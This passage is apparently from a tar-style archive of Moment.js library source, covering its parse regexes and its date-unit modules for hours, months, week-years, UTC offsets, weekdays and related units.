/\d\d/; // 00 - 99 export var match3 = /\d{3}/; // 000 - 999 export var match4 = /\d{4}/; // 0000 - 9999 export var match6 = /[+-]?\d{6}/; // -999999 - 999999 export var match1to2 = /\d\d?/; // 0 - 99 export var match3to4 = /\d\d\d\d?/; // 999 - 9999 export var match5to6 = /\d\d\d\d\d\d?/; // 99999 - 999999 export var match1to3 = /\d{1,3}/; // 0 - 999 export var match1to4 = /\d{1,4}/; // 0 - 9999 export var match1to6 = /[+-]?\d{1,6}/; // -999999 - 999999 export var matchUnsigned = /\d+/; // 0 - inf export var matchSigned = /[+-]?\d+/; // -inf - inf export var matchOffset = /Z|[+-]\d\d:?\d\d/gi; // +00:00 -00:00 +0000 -0000 or Z export var matchShortOffset = /Z|[+-]\d\d(?::?\d\d)?/gi; // +00 -00 +00:00 -00:00 +0000 -0000 or Z export var matchTimestamp = /[+-]?\d+(\.\d{1,3})?/; // 123456789 123456789.123 // any word (or two) characters or numbers including two/three word month in arabic. // includes scottish gaelic two word and hyphenated months export var matchWord = /[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i; import hasOwnProp from '../utils/has-own-prop'; import isFunction from '../utils/is-function'; var regexes = {}; export function addRegexToken (token, regex, strictRegex) { regexes[token] = isFunction(regex) ? regex : function (isStrict, localeData) { return (isStrict && strictRegex) ? strictRegex : regex; }; } export function getParseRegexForToken (token, config) { if (!hasOwnProp(regexes, token)) { return new RegExp(unescapeFormat(token)); } return regexes[token](config._strict, config._locale); } // Code from http://stackoverflow.com/questions/3561493/is-there-a-regexp-escape-function-in-javascript function unescapeFormat(s) { return regexEscape(s.replace('\\', '').replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g, function (matched, p1, p2, p3, p4) { return p1 || p2 || p3 || p4; })); } export function regexEscape(s) { return s.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&'); } lib/units/hour.js000064400000010627151677412270010011 0ustar00import { makeGetSet } from '../moment/get-set'; import { addFormatToken } from '../format/format'; import { addUnitAlias } from './aliases'; import { addUnitPriority } from './priorities'; import { addRegexToken, match1to2, match2, match3to4, match5to6 } from '../parse/regex'; import { addParseToken } from '../parse/token'; import { HOUR, MINUTE, SECOND } from './constants'; import toInt from '../utils/to-int'; import zeroFill from '../utils/zero-fill'; import getParsingFlags from '../create/parsing-flags'; // FORMATTING function hFormat() { return this.hours() % 12 || 12; } function kFormat() { return this.hours() || 24; } addFormatToken('H', ['HH', 2], 0, 'hour'); addFormatToken('h', ['hh', 2], 0, hFormat); addFormatToken('k', ['kk', 2], 0, kFormat); addFormatToken('hmm', 0, 0, function () { return '' + hFormat.apply(this) + zeroFill(this.minutes(), 2); }); addFormatToken('hmmss', 0, 0, function () { return '' + hFormat.apply(this) + zeroFill(this.minutes(), 2) + zeroFill(this.seconds(), 2); }); addFormatToken('Hmm', 0, 0, function () { return '' + this.hours() + zeroFill(this.minutes(), 2); }); addFormatToken('Hmmss', 0, 0, function () { return '' + this.hours() + zeroFill(this.minutes(), 2) + zeroFill(this.seconds(), 2); }); function meridiem (token, lowercase) { addFormatToken(token, 0, 0, function () { return this.localeData().meridiem(this.hours(), this.minutes(), lowercase); }); } meridiem('a', true); meridiem('A', false); // ALIASES addUnitAlias('hour', 'h'); // PRIORITY addUnitPriority('hour', 13); // PARSING function matchMeridiem (isStrict, locale) { return locale._meridiemParse; } addRegexToken('a', matchMeridiem); addRegexToken('A', matchMeridiem); addRegexToken('H', match1to2); addRegexToken('h', match1to2); addRegexToken('k', match1to2); addRegexToken('HH', match1to2, match2); addRegexToken('hh', match1to2, match2); addRegexToken('kk', match1to2, match2); addRegexToken('hmm', match3to4); addRegexToken('hmmss', match5to6); addRegexToken('Hmm', match3to4); addRegexToken('Hmmss', match5to6); addParseToken(['H', 'HH'], HOUR); addParseToken(['k', 'kk'], function (input, array, config) { var kInput = toInt(input); array[HOUR] = kInput === 24 ? 0 : kInput; }); addParseToken(['a', 'A'], function (input, array, config) { config._isPm = config._locale.isPM(input); config._meridiem = input; }); addParseToken(['h', 'hh'], function (input, array, config) { array[HOUR] = toInt(input); getParsingFlags(config).bigHour = true; }); addParseToken('hmm', function (input, array, config) { var pos = input.length - 2; array[HOUR] = toInt(input.substr(0, pos)); array[MINUTE] = toInt(input.substr(pos)); getParsingFlags(config).bigHour = true; }); addParseToken('hmmss', function (input, array, config) { var pos1 = input.length - 4; var pos2 = input.length - 2; array[HOUR] = toInt(input.substr(0, pos1)); array[MINUTE] = toInt(input.substr(pos1, 2)); array[SECOND] = toInt(input.substr(pos2)); getParsingFlags(config).bigHour = true; }); addParseToken('Hmm', function (input, array, config) { var pos = input.length - 2; array[HOUR] = toInt(input.substr(0, pos)); array[MINUTE] = toInt(input.substr(pos)); }); addParseToken('Hmmss', function (input, array, config) { var pos1 = input.length - 4; var pos2 = input.length - 2; array[HOUR] = toInt(input.substr(0, pos1)); array[MINUTE] = toInt(input.substr(pos1, 2)); array[SECOND] = toInt(input.substr(pos2)); }); // LOCALES export function localeIsPM (input) { // IE8 Quirks Mode & IE7 Standards Mode do not allow accessing strings like arrays // Using charAt should be more compatible. return ((input + '').toLowerCase().charAt(0) === 'p'); } export var defaultLocaleMeridiemParse = /[ap]\.?m?\.?/i; export function localeMeridiem (hours, minutes, isLower) { if (hours > 11) { return isLower ? 'pm' : 'PM'; } else { return isLower ? 'am' : 'AM'; } } // MOMENTS // Setting the hour should keep the time, because the user explicitly // specified which hour they want. So trying to maintain the same hour (in // a new timezone) makes sense. Adding/subtracting hours does not follow // this rule. export var getSetHour = makeGetSet('Hours', true); lib/units/month.js000064400000022723151677412270010161 0ustar00import { get } from '../moment/get-set'; import hasOwnProp from '../utils/has-own-prop'; import { addFormatToken } from '../format/format'; import { addUnitAlias } from './aliases'; import { addUnitPriority } from './priorities'; import { addRegexToken, match1to2, match2, matchWord, regexEscape } from '../parse/regex'; import { addParseToken } from '../parse/token'; import { hooks } from '../utils/hooks'; import { MONTH } from './constants'; import toInt from '../utils/to-int'; import isArray from '../utils/is-array'; import isNumber from '../utils/is-number'; import mod from '../utils/mod'; import indexOf from '../utils/index-of'; import { createUTC } from '../create/utc'; import getParsingFlags from '../create/parsing-flags'; import { isLeapYear } from '../units/year'; export function daysInMonth(year, month) { if (isNaN(year) || isNaN(month)) { return NaN; } var modMonth = mod(month, 12); year += (month - modMonth) / 12; return modMonth === 1 ? (isLeapYear(year) ? 29 : 28) : (31 - modMonth % 7 % 2); } // FORMATTING addFormatToken('M', ['MM', 2], 'Mo', function () { return this.month() + 1; }); addFormatToken('MMM', 0, 0, function (format) { return this.localeData().monthsShort(this, format); }); addFormatToken('MMMM', 0, 0, function (format) { return this.localeData().months(this, format); }); // ALIASES addUnitAlias('month', 'M'); // PRIORITY addUnitPriority('month', 8); // PARSING addRegexToken('M', match1to2); addRegexToken('MM', match1to2, match2); addRegexToken('MMM', function (isStrict, locale) { return locale.monthsShortRegex(isStrict); }); addRegexToken('MMMM', function (isStrict, locale) { return locale.monthsRegex(isStrict); }); addParseToken(['M', 'MM'], function (input, array) { array[MONTH] = toInt(input) - 1; }); addParseToken(['MMM', 'MMMM'], function (input, array, config, token) { var month = config._locale.monthsParse(input, token, config._strict); // if we didn't find a month name, mark the date as invalid. if (month != null) { array[MONTH] = month; } else { getParsingFlags(config).invalidMonth = input; } }); // LOCALES var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/; export var defaultLocaleMonths = 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_'); export function localeMonths (m, format) { if (!m) { return isArray(this._months) ? this._months : this._months['standalone']; } return isArray(this._months) ? this._months[m.month()] : this._months[(this._months.isFormat || MONTHS_IN_FORMAT).test(format) ? 'format' : 'standalone'][m.month()]; } export var defaultLocaleMonthsShort = 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'); export function localeMonthsShort (m, format) { if (!m) { return isArray(this._monthsShort) ? this._monthsShort : this._monthsShort['standalone']; } return isArray(this._monthsShort) ? this._monthsShort[m.month()] : this._monthsShort[MONTHS_IN_FORMAT.test(format) ? 'format' : 'standalone'][m.month()]; } function handleStrictParse(monthName, format, strict) { var i, ii, mom, llc = monthName.toLocaleLowerCase(); if (!this._monthsParse) { // this is not used this._monthsParse = []; this._longMonthsParse = []; this._shortMonthsParse = []; for (i = 0; i < 12; ++i) { mom = createUTC([2000, i]); this._shortMonthsParse[i] = this.monthsShort(mom, '').toLocaleLowerCase(); this._longMonthsParse[i] = this.months(mom, '').toLocaleLowerCase(); } } if (strict) { if (format === 'MMM') { ii = indexOf.call(this._shortMonthsParse, llc); return ii !== -1 ? ii : null; } else { ii = indexOf.call(this._longMonthsParse, llc); return ii !== -1 ? ii : null; } } else { if (format === 'MMM') { ii = indexOf.call(this._shortMonthsParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._longMonthsParse, llc); return ii !== -1 ? ii : null; } else { ii = indexOf.call(this._longMonthsParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._shortMonthsParse, llc); return ii !== -1 ? ii : null; } } } export function localeMonthsParse (monthName, format, strict) { var i, mom, regex; if (this._monthsParseExact) { return handleStrictParse.call(this, monthName, format, strict); } if (!this._monthsParse) { this._monthsParse = []; this._longMonthsParse = []; this._shortMonthsParse = []; } // TODO: add sorting // Sorting makes sure if one month (or abbr) is a prefix of another // see sorting in computeMonthsParse for (i = 0; i < 12; i++) { // make the regex if we don't have it already mom = createUTC([2000, i]); if (strict && !this._longMonthsParse[i]) { this._longMonthsParse[i] = new RegExp('^' + this.months(mom, '').replace('.', '') + '$', 'i'); this._shortMonthsParse[i] = new RegExp('^' + this.monthsShort(mom, '').replace('.', '') + '$', 'i'); } if (!strict && !this._monthsParse[i]) { regex = '^' + this.months(mom, '') + '|^' + this.monthsShort(mom, ''); this._monthsParse[i] = new RegExp(regex.replace('.', ''), 'i'); } // test the regex if (strict && format === 'MMMM' && this._longMonthsParse[i].test(monthName)) { return i; } else if (strict && format === 'MMM' && this._shortMonthsParse[i].test(monthName)) { return i; } else if (!strict && this._monthsParse[i].test(monthName)) { return i; } } } // MOMENTS export function setMonth (mom, value) { var dayOfMonth; if (!mom.isValid()) { // No op return mom; } if (typeof value === 'string') { if (/^\d+$/.test(value)) { value = toInt(value); } else { value = mom.localeData().monthsParse(value); // TODO: Another silent failure? if (!isNumber(value)) { return mom; } } } dayOfMonth = Math.min(mom.date(), daysInMonth(mom.year(), value)); mom._d['set' + (mom._isUTC ? 'UTC' : '') + 'Month'](value, dayOfMonth); return mom; } export function getSetMonth (value) { if (value != null) { setMonth(this, value); hooks.updateOffset(this, true); return this; } else { return get(this, 'Month'); } } export function getDaysInMonth () { return daysInMonth(this.year(), this.month()); } var defaultMonthsShortRegex = matchWord; export function monthsShortRegex (isStrict) { if (this._monthsParseExact) { if (!hasOwnProp(this, '_monthsRegex')) { computeMonthsParse.call(this); } if (isStrict) { return this._monthsShortStrictRegex; } else { return this._monthsShortRegex; } } else { if (!hasOwnProp(this, '_monthsShortRegex')) { this._monthsShortRegex = defaultMonthsShortRegex; } return this._monthsShortStrictRegex && isStrict ? this._monthsShortStrictRegex : this._monthsShortRegex; } } var defaultMonthsRegex = matchWord; export function monthsRegex (isStrict) { if (this._monthsParseExact) { if (!hasOwnProp(this, '_monthsRegex')) { computeMonthsParse.call(this); } if (isStrict) { return this._monthsStrictRegex; } else { return this._monthsRegex; } } else { if (!hasOwnProp(this, '_monthsRegex')) { this._monthsRegex = defaultMonthsRegex; } return this._monthsStrictRegex && isStrict ? this._monthsStrictRegex : this._monthsRegex; } } function computeMonthsParse () { function cmpLenRev(a, b) { return b.length - a.length; } var shortPieces = [], longPieces = [], mixedPieces = [], i, mom; for (i = 0; i < 12; i++) { // make the regex if we don't have it already mom = createUTC([2000, i]); shortPieces.push(this.monthsShort(mom, '')); longPieces.push(this.months(mom, '')); mixedPieces.push(this.months(mom, '')); mixedPieces.push(this.monthsShort(mom, '')); } // Sorting makes sure if one month (or abbr) is a prefix of another it // will match the longer piece. shortPieces.sort(cmpLenRev); longPieces.sort(cmpLenRev); mixedPieces.sort(cmpLenRev); for (i = 0; i < 12; i++) { shortPieces[i] = regexEscape(shortPieces[i]); longPieces[i] = regexEscape(longPieces[i]); } for (i = 0; i < 24; i++) { mixedPieces[i] = regexEscape(mixedPieces[i]); } this._monthsRegex = new RegExp('^(' + mixedPieces.join('|') + ')', 'i'); this._monthsShortRegex = this._monthsRegex; this._monthsStrictRegex = new RegExp('^(' + longPieces.join('|') + ')', 'i'); this._monthsShortStrictRegex = new RegExp('^(' + shortPieces.join('|') + ')', 'i'); } lib/units/week-year.js000064400000006372151677412270010727 0ustar00import { addFormatToken } from '../format/format'; import { addUnitAlias } from './aliases'; import { addUnitPriority } from './priorities'; import { addRegexToken, match1to2, match1to4, match1to6, match2, match4, match6, matchSigned } from '../parse/regex'; import { addWeekParseToken } from '../parse/token'; import { weekOfYear, weeksInYear, dayOfYearFromWeeks } from './week-calendar-utils'; import toInt from '../utils/to-int'; import { hooks } from '../utils/hooks'; import { createLocal } from '../create/local'; import { createUTCDate } from '../create/date-from-array'; // FORMATTING addFormatToken(0, ['gg', 2], 0, function () { return this.weekYear() % 100; }); addFormatToken(0, ['GG', 2], 0, function () { return this.isoWeekYear() % 100; }); function addWeekYearFormatToken (token, getter) { addFormatToken(0, [token, token.length], 0, getter); } addWeekYearFormatToken('gggg', 'weekYear'); addWeekYearFormatToken('ggggg', 'weekYear'); addWeekYearFormatToken('GGGG', 'isoWeekYear'); addWeekYearFormatToken('GGGGG', 'isoWeekYear'); // ALIASES addUnitAlias('weekYear', 'gg'); addUnitAlias('isoWeekYear', 'GG'); // PRIORITY addUnitPriority('weekYear', 1); addUnitPriority('isoWeekYear', 1); // PARSING addRegexToken('G', matchSigned); addRegexToken('g', matchSigned); addRegexToken('GG', match1to2, match2); addRegexToken('gg', match1to2, match2); addRegexToken('GGGG', match1to4, match4); addRegexToken('gggg', match1to4, match4); addRegexToken('GGGGG', match1to6, match6); addRegexToken('ggggg', match1to6, match6); addWeekParseToken(['gggg', 'ggggg', 'GGGG', 'GGGGG'], function (input, week, config, token) { week[token.substr(0, 2)] = toInt(input); }); addWeekParseToken(['gg', 'GG'], function (input, week, config, token) { week[token] = hooks.parseTwoDigitYear(input); }); // MOMENTS export function getSetWeekYear (input) { return getSetWeekYearHelper.call(this, input, this.week(), this.weekday(), this.localeData()._week.dow, this.localeData()._week.doy); } export function getSetISOWeekYear (input) { return getSetWeekYearHelper.call(this, input, this.isoWeek(), this.isoWeekday(), 1, 4); } export function getISOWeeksInYear () { return weeksInYear(this.year(), 1, 4); } export function getWeeksInYear () { var weekInfo = this.localeData()._week; return weeksInYear(this.year(), weekInfo.dow, weekInfo.doy); } function getSetWeekYearHelper(input, week, weekday, dow, doy) { var weeksTarget; if (input == null) { return weekOfYear(this, dow, doy).year; } else { weeksTarget = weeksInYear(input, dow, doy); if (week > weeksTarget) { week = weeksTarget; } return setWeekAll.call(this, input, week, weekday, dow, doy); } } function setWeekAll(weekYear, week, weekday, dow, doy) { var dayOfYearData = dayOfYearFromWeeks(weekYear, week, weekday, dow, doy), date = createUTCDate(dayOfYearData.year, 0, dayOfYearData.dayOfYear); this.year(date.getUTCFullYear()); this.month(date.getUTCMonth()); this.date(date.getUTCDate()); return this; } lib/units/offset.js000064400000015703151677412270010322 0ustar00import zeroFill from '../utils/zero-fill'; import { createDuration } from '../duration/create'; import { addSubtract } from '../moment/add-subtract'; import { isMoment, copyConfig } from '../moment/constructor'; import { addFormatToken } from '../format/format'; import { addRegexToken, matchOffset, matchShortOffset } from '../parse/regex'; import { addParseToken } from '../parse/token'; import { createLocal } from '../create/local'; import { prepareConfig } from '../create/from-anything'; import { createUTC } from '../create/utc'; import isDate from '../utils/is-date'; import toInt from '../utils/to-int'; import isUndefined from '../utils/is-undefined'; import compareArrays from '../utils/compare-arrays'; import { hooks } from '../utils/hooks'; // FORMATTING function offset (token, separator) { addFormatToken(token, 0, 0, function () { var offset = this.utcOffset(); var sign = '+'; if (offset < 0) { offset = -offset; sign = '-'; } return sign + zeroFill(~~(offset / 60), 2) + separator + zeroFill(~~(offset) % 60, 2); }); } offset('Z', ':'); offset('ZZ', ''); // PARSING addRegexToken('Z', matchShortOffset); addRegexToken('ZZ', matchShortOffset); addParseToken(['Z', 'ZZ'], function (input, array, config) { config._useUTC = true; config._tzm = offsetFromString(matchShortOffset, input); }); // HELPERS // timezone chunker // '+10:00' > ['10', '00'] // '-1530' > ['-15', '30'] var chunkOffset = /([\+\-]|\d\d)/gi; function offsetFromString(matcher, string) { var matches = (string || '').match(matcher); if (matches === null) { return null; } var chunk = matches[matches.length - 1] || []; var parts = (chunk + '').match(chunkOffset) || ['-', 0, 0]; var minutes = +(parts[1] * 60) + toInt(parts[2]); return minutes === 0 ? 0 : parts[0] === '+' ? minutes : -minutes; } // Return a moment from input, that is local/utc/zone equivalent to model. export function cloneWithOffset(input, model) { var res, diff; if (model._isUTC) { res = model.clone(); diff = (isMoment(input) || isDate(input) ? input.valueOf() : createLocal(input).valueOf()) - res.valueOf(); // Use low-level api, because this fn is low-level api. res._d.setTime(res._d.valueOf() + diff); hooks.updateOffset(res, false); return res; } else { return createLocal(input).local(); } } function getDateOffset (m) { // On Firefox.24 Date#getTimezoneOffset returns a floating point. // https://github.com/moment/moment/pull/1871 return -Math.round(m._d.getTimezoneOffset() / 15) * 15; } // HOOKS // This function will be called whenever a moment is mutated. // It is intended to keep the offset in sync with the timezone. hooks.updateOffset = function () {}; // MOMENTS // keepLocalTime = true means only change the timezone, without // affecting the local hour. So 5:31:26 +0300 --[utcOffset(2, true)]--> // 5:31:26 +0200 It is possible that 5:31:26 doesn't exist with offset // +0200, so we adjust the time as needed, to be valid. // // Keeping the time actually adds/subtracts (one hour) // from the actual represented time. That is why we call updateOffset // a second time. In case it wants us to change the offset again // _changeInProgress == true case, then we have to adjust, because // there is no such time in the given timezone. export function getSetOffset (input, keepLocalTime, keepMinutes) { var offset = this._offset || 0, localAdjust; if (!this.isValid()) { return input != null ? this : NaN; } if (input != null) { if (typeof input === 'string') { input = offsetFromString(matchShortOffset, input); if (input === null) { return this; } } else if (Math.abs(input) < 16 && !keepMinutes) { input = input * 60; } if (!this._isUTC && keepLocalTime) { localAdjust = getDateOffset(this); } this._offset = input; this._isUTC = true; if (localAdjust != null) { this.add(localAdjust, 'm'); } if (offset !== input) { if (!keepLocalTime || this._changeInProgress) { addSubtract(this, createDuration(input - offset, 'm'), 1, false); } else if (!this._changeInProgress) { this._changeInProgress = true; hooks.updateOffset(this, true); this._changeInProgress = null; } } return this; } else { return this._isUTC ? offset : getDateOffset(this); } } export function getSetZone (input, keepLocalTime) { if (input != null) { if (typeof input !== 'string') { input = -input; } this.utcOffset(input, keepLocalTime); return this; } else { return -this.utcOffset(); } } export function setOffsetToUTC (keepLocalTime) { return this.utcOffset(0, keepLocalTime); } export function setOffsetToLocal (keepLocalTime) { if (this._isUTC) { this.utcOffset(0, keepLocalTime); this._isUTC = false; if (keepLocalTime) { this.subtract(getDateOffset(this), 'm'); } } return this; } export function setOffsetToParsedOffset () { if (this._tzm != null) { this.utcOffset(this._tzm, false, true); } else if (typeof this._i === 'string') { var tZone = offsetFromString(matchOffset, this._i); if (tZone != null) { this.utcOffset(tZone); } else { this.utcOffset(0, true); } } return this; } export function hasAlignedHourOffset (input) { if (!this.isValid()) { return false; } input = input ? createLocal(input).utcOffset() : 0; return (this.utcOffset() - input) % 60 === 0; } export function isDaylightSavingTime () { return ( this.utcOffset() > this.clone().month(0).utcOffset() || this.utcOffset() > this.clone().month(5).utcOffset() ); } export function isDaylightSavingTimeShifted () { if (!isUndefined(this._isDSTShifted)) { return this._isDSTShifted; } var c = {}; copyConfig(c, this); c = prepareConfig(c); if (c._a) { var other = c._isUTC ? createUTC(c._a) : createLocal(c._a); this._isDSTShifted = this.isValid() && compareArrays(c._a, other.toArray()) > 0; } else { this._isDSTShifted = false; } return this._isDSTShifted; } export function isLocal () { return this.isValid() ? !this._isUTC : false; } export function isUtcOffset () { return this.isValid() ? this._isUTC : false; } export function isUtc () { return this.isValid() ? this._isUTC && this._offset === 0 : false; } lib/units/day-of-year.js000064400000002002151677412270011135 0ustar00import { addFormatToken } from '../format/format'; import { addUnitAlias } from './aliases'; import { addUnitPriority } from './priorities'; import { addRegexToken, match3, match1to3 } from '../parse/regex'; import { daysInYear } from './year'; import { createUTCDate } from '../create/date-from-array'; import { addParseToken } from '../parse/token'; import toInt from '../utils/to-int'; // FORMATTING addFormatToken('DDD', ['DDDD', 3], 'DDDo', 'dayOfYear'); // ALIASES addUnitAlias('dayOfYear', 'DDD'); // PRIORITY addUnitPriority('dayOfYear', 4); // PARSING addRegexToken('DDD', match1to3); addRegexToken('DDDD', match3); addParseToken(['DDD', 'DDDD'], function (input, array, config) { config._dayOfYear = toInt(input); }); // HELPERS // MOMENTS export function getSetDayOfYear (input) { var dayOfYear = Math.round((this.clone().startOf('day') - this.clone().startOf('year')) / 864e5) + 1; return input == null ? dayOfYear : this.add((input - dayOfYear), 'd'); } lib/units/timestamp.js000064400000001146151677412270011033 0ustar00import { addFormatToken } from '../format/format'; import { addRegexToken, matchTimestamp, matchSigned } from '../parse/regex'; import { addParseToken } from '../parse/token'; import toInt from '../utils/to-int'; // FORMATTING addFormatToken('X', 0, 0, 'unix'); addFormatToken('x', 0, 0, 'valueOf'); // PARSING addRegexToken('x', matchSigned); addRegexToken('X', matchTimestamp); addParseToken('X', function (input, array, config) { config._d = new Date(parseFloat(input, 10) * 1000); }); addParseToken('x', function (input, array, config) { config._d = new Date(toInt(input)); }); lib/units/week-calendar-utils.js000064400000004231151677412270012666 0ustar00import { daysInYear } from './year'; import { createLocal } from '../create/local'; import { createUTCDate } from '../create/date-from-array'; // start-of-first-week - start-of-year function firstWeekOffset(year, dow, doy) { var // first-week day -- which january is always in the first week (4 for iso, 1 for other) fwd = 7 + dow - doy, // first-week day local weekday -- which local weekday is fwd fwdlw = (7 + createUTCDate(year, 0, fwd).getUTCDay() - dow) % 7; return -fwdlw + fwd - 1; } // https://en.wikipedia.org/wiki/ISO_week_date#Calculating_a_date_given_the_year.2C_week_number_and_weekday export function dayOfYearFromWeeks(year, week, weekday, dow, doy) { var localWeekday = (7 + weekday - dow) % 7, weekOffset = firstWeekOffset(year, dow, doy), dayOfYear = 1 + 7 * (week - 1) + localWeekday + weekOffset, resYear, resDayOfYear; if (dayOfYear <= 0) { resYear = year - 1; resDayOfYear = daysInYear(resYear) + dayOfYear; } else if (dayOfYear > daysInYear(year)) { resYear = year + 1; resDayOfYear = dayOfYear - daysInYear(year); } else { resYear = year; resDayOfYear = dayOfYear; } return { year: resYear, dayOfYear: resDayOfYear }; } export function weekOfYear(mom, dow, doy) { var weekOffset = firstWeekOffset(mom.year(), dow, doy), week = Math.floor((mom.dayOfYear() - weekOffset - 1) / 7) + 1, resWeek, resYear; if (week < 1) { resYear = mom.year() - 1; resWeek = week + weeksInYear(resYear, dow, doy); } else if (week > weeksInYear(mom.year(), dow, doy)) { resWeek = week - weeksInYear(mom.year(), dow, doy); resYear = mom.year() + 1; } else { resYear = mom.year(); resWeek = week; } return { week: resWeek, year: resYear }; } export function weeksInYear(year, dow, doy) { var weekOffset = firstWeekOffset(year, dow, doy), weekOffsetNext = firstWeekOffset(year + 1, dow, doy); return (daysInYear(year) - weekOffset + weekOffsetNext) / 7; } lib/units/day-of-month.js000064400000002117151677412270011331 0ustar00import { makeGetSet } from '../moment/get-set'; import { addFormatToken } from '../format/format'; import { addUnitAlias } from './aliases'; import { addUnitPriority } from './priorities'; import { addRegexToken, match1to2, match2 } from '../parse/regex'; import { addParseToken } from '../parse/token'; import { DATE } from './constants'; import toInt from '../utils/to-int'; // FORMATTING addFormatToken('D', ['DD', 2], 'Do', 'date'); // ALIASES addUnitAlias('date', 'D'); // PRIORITY addUnitPriority('date', 9); // PARSING addRegexToken('D', match1to2); addRegexToken('DD', match1to2, match2); addRegexToken('Do', function (isStrict, locale) { // TODO: Remove "ordinalParse" fallback in next major release. return isStrict ? (locale._dayOfMonthOrdinalParse || locale._ordinalParse) : locale._dayOfMonthOrdinalParseLenient; }); addParseToken(['D', 'DD'], DATE); addParseToken('Do', function (input, array) { array[DATE] = toInt(input.match(match1to2)[0]); }); // MOMENTS export var getSetDayOfMonth = makeGetSet('Date', true); lib/units/aliases.js000064400000001471151677412270010452 0ustar00import hasOwnProp from '../utils/has-own-prop'; var aliases = {}; export function addUnitAlias (unit, shorthand) { var lowerCase = unit.toLowerCase(); aliases[lowerCase] = aliases[lowerCase + 's'] = aliases[shorthand] = unit; } export function normalizeUnits(units) { return typeof units === 'string' ? aliases[units] || aliases[units.toLowerCase()] : undefined; } export function normalizeObjectUnits(inputObject) { var normalizedInput = {}, normalizedProp, prop; for (prop in inputObject) { if (hasOwnProp(inputObject, prop)) { normalizedProp = normalizeUnits(prop); if (normalizedProp) { normalizedInput[normalizedProp] = inputObject[prop]; } } } return normalizedInput; } lib/units/quarter.js000064400000001433151677412270010512 0ustar00import { addFormatToken } from '../format/format'; import { addUnitAlias } from './aliases'; import { addUnitPriority } from './priorities'; import { addRegexToken, match1 } from '../parse/regex'; import { addParseToken } from '../parse/token'; import { MONTH } from './constants'; import toInt from '../utils/to-int'; // FORMATTING addFormatToken('Q', 0, 'Qo', 'quarter'); // ALIASES addUnitAlias('quarter', 'Q'); // PRIORITY addUnitPriority('quarter', 7); // PARSING addRegexToken('Q', match1); addParseToken('Q', function (input, array) { array[MONTH] = (toInt(input) - 1) * 3; }); // MOMENTS export function getSetQuarter (input) { return input == null ? Math.ceil((this.month() + 1) / 3) : this.month((input - 1) * 3 + this.month() % 3); } lib/units/priorities.js000064400000000601151677412270011214 0ustar00var priorities = {}; export function addUnitPriority(unit, priority) { priorities[unit] = priority; } export function getPrioritizedUnits(unitsObj) { var units = []; for (var u in unitsObj) { units.push({unit: u, priority: priorities[u]}); } units.sort(function (a, b) { return a.priority - b.priority; }); return units; } lib/units/day-of-week.js000064400000030056151677412270011142 0ustar00import { addFormatToken } from '../format/format'; import { addUnitAlias } from './aliases'; import { addUnitPriority } from './priorities'; import { addRegexToken, match1to2, matchWord, regexEscape } from '../parse/regex'; import { addWeekParseToken } from '../parse/token'; import toInt from '../utils/to-int'; import isArray from '../utils/is-array'; import indexOf from '../utils/index-of'; import hasOwnProp from '../utils/has-own-prop'; import { createUTC } from '../create/utc'; import getParsingFlags from '../create/parsing-flags'; // FORMATTING addFormatToken('d', 0, 'do', 'day'); addFormatToken('dd', 0, 0, function (format) { return this.localeData().weekdaysMin(this, format); }); addFormatToken('ddd', 0, 0, function (format) { return this.localeData().weekdaysShort(this, format); }); addFormatToken('dddd', 0, 0, function (format) { return this.localeData().weekdays(this, format); }); addFormatToken('e', 0, 0, 'weekday'); addFormatToken('E', 0, 0, 'isoWeekday'); // ALIASES addUnitAlias('day', 'd'); addUnitAlias('weekday', 'e'); addUnitAlias('isoWeekday', 'E'); // PRIORITY addUnitPriority('day', 11); addUnitPriority('weekday', 11); addUnitPriority('isoWeekday', 11); // PARSING addRegexToken('d', match1to2); addRegexToken('e', match1to2); addRegexToken('E', match1to2); addRegexToken('dd', function (isStrict, locale) { return locale.weekdaysMinRegex(isStrict); }); addRegexToken('ddd', function (isStrict, locale) { return locale.weekdaysShortRegex(isStrict); }); addRegexToken('dddd', function (isStrict, locale) { return locale.weekdaysRegex(isStrict); }); addWeekParseToken(['dd', 'ddd', 'dddd'], function (input, week, config, token) { var weekday = config._locale.weekdaysParse(input, token, config._strict); // if we didn't get a weekday name, mark the date as invalid if (weekday != null) { week.d = weekday; } else { getParsingFlags(config).invalidWeekday = input; } }); addWeekParseToken(['d', 'e', 'E'], function (input, week, config, token) { week[token] = toInt(input); }); // HELPERS function parseWeekday(input, locale) { if (typeof input !== 'string') { return input; } if (!isNaN(input)) { return parseInt(input, 10); } input = locale.weekdaysParse(input); if (typeof input === 'number') { return input; } return null; } function parseIsoWeekday(input, locale) { if (typeof input === 'string') { return locale.weekdaysParse(input) % 7 || 7; } return isNaN(input) ? null : input; } // LOCALES export var defaultLocaleWeekdays = 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'); export function localeWeekdays (m, format) { if (!m) { return isArray(this._weekdays) ? this._weekdays : this._weekdays['standalone']; } return isArray(this._weekdays) ? this._weekdays[m.day()] : this._weekdays[this._weekdays.isFormat.test(format) ? 'format' : 'standalone'][m.day()]; } export var defaultLocaleWeekdaysShort = 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'); export function localeWeekdaysShort (m) { return (m) ? this._weekdaysShort[m.day()] : this._weekdaysShort; } export var defaultLocaleWeekdaysMin = 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'); export function localeWeekdaysMin (m) { return (m) ? this._weekdaysMin[m.day()] : this._weekdaysMin; } function handleStrictParse(weekdayName, format, strict) { var i, ii, mom, llc = weekdayName.toLocaleLowerCase(); if (!this._weekdaysParse) { this._weekdaysParse = []; this._shortWeekdaysParse = []; this._minWeekdaysParse = []; for (i = 0; i < 7; ++i) { mom = createUTC([2000, 1]).day(i); this._minWeekdaysParse[i] = this.weekdaysMin(mom, '').toLocaleLowerCase(); this._shortWeekdaysParse[i] = this.weekdaysShort(mom, '').toLocaleLowerCase(); this._weekdaysParse[i] = this.weekdays(mom, 